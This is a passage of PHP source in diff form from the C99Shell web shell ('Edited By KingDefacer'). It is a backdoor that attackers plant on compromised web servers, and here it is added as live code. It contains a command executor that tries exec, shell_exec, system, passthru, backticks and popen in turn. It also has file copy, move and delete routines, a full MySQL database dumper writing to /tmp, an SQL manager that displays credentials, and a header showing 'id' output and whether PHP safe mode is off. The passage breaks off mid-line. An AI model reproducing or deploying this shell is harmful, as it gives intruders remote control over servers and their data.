(!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return true; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return false;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + $ret = true; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return true; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return false;} + } + else {return false;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return false;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);} + elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);} + elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();} + elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();} + elseif (($result = `$cmd`) !== false) {} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) +{ + function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);} +} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400) ? "r" : "-"; + $owner["write"] = ($mode & 00200) ? "w" : "-"; + $owner["execute"] = ($mode & 00100) ? "x" : "-"; + $group["read"] = ($mode & 00040) ? "r" : "-"; + $group["write"] = ($mode & 00020) ? "w" : "-"; + $group["execute"] = ($mode & 00010) ? "x" : "-"; + $world["read"] = ($mode & 00004) ? "r" : "-"; + $world["write"] = ($mode & 00002) ? "w" : "-"; + $world["execute"] = ($mode & 00001) ? "x" : "-"; + + if( $mode & 0x800 ) {$owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";} + if( $mode & 0x400 ) {$group["execute"] = ($group["execute"] == "x") ? "s" : "S";} + if( $mode & 0x200 ) {$world["execute"] = ($world["execute"] == "x") ? "t" : "T";} + + return $type.$owner["read"].$owner["write"].$owner["execute"]. + $group["read"].$group["write"].$group["execute"]. + $world["read"].$world["write"].$world["execute"]; +} +} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=\"red\">".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=\"white\">".view_perms(fileperms($o))."</font>";} + else {return "<font color=\"green\">".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate() +{ + global $updatenow; + $data = @file_get_contents($c99sh_updatefurl."?version=".$shver."&"); + if (!$data) {echo "Can't fetch update-information!";} + else + { + $data = unserialize(base64_decode($data)); + if (!is_array($data)) {echo "Corrupted update-information!";} + elseif ($shver < $data["cur"]) {$updatenow = true;} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = true;} + if (empty($file)) + { + global $win; + if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} + else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = true;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $SERVER_ADDR = getenv("SERVER_ADDR"); + $SERVER_NAME = getenv("SERVER_NAME"); + $out = "# Dumped by C99Shell.SQL v. ".$shver." +# Home page: http://alturks.com/ +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"." +# Date: ".date("d.m.Y H:i:s")." +# ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "� <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return false;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== false) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + if (!$win) {$tmpdir = "/tmp/";} + else {$tmpdir = getenv("SystemRoot");} +} +else {$tmpdir = realpath($tmpdir);} +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1,1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=\"red\">ON (secure)</font>"; +} +else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";} +else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><link rel="shortcut icon" href="" type="image/x-icon"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell - Edited By KingDefacer</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,strlen($d)-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + reset($e); + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = true; + $wdt = "<font color=\"green\">[ ok ]</font>"; + echo "<b><font color=\"green\">".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = false; + $wdt = "<font color=\"red\">[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === false) {$free = 0;} + if ($total === false) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".$letter.":\\\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=\"green\">".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +?></p></td></tr></table><br><?php +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php echo $donated_html; ?></td></tr></table><br><?php } +?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = false;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>�&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo 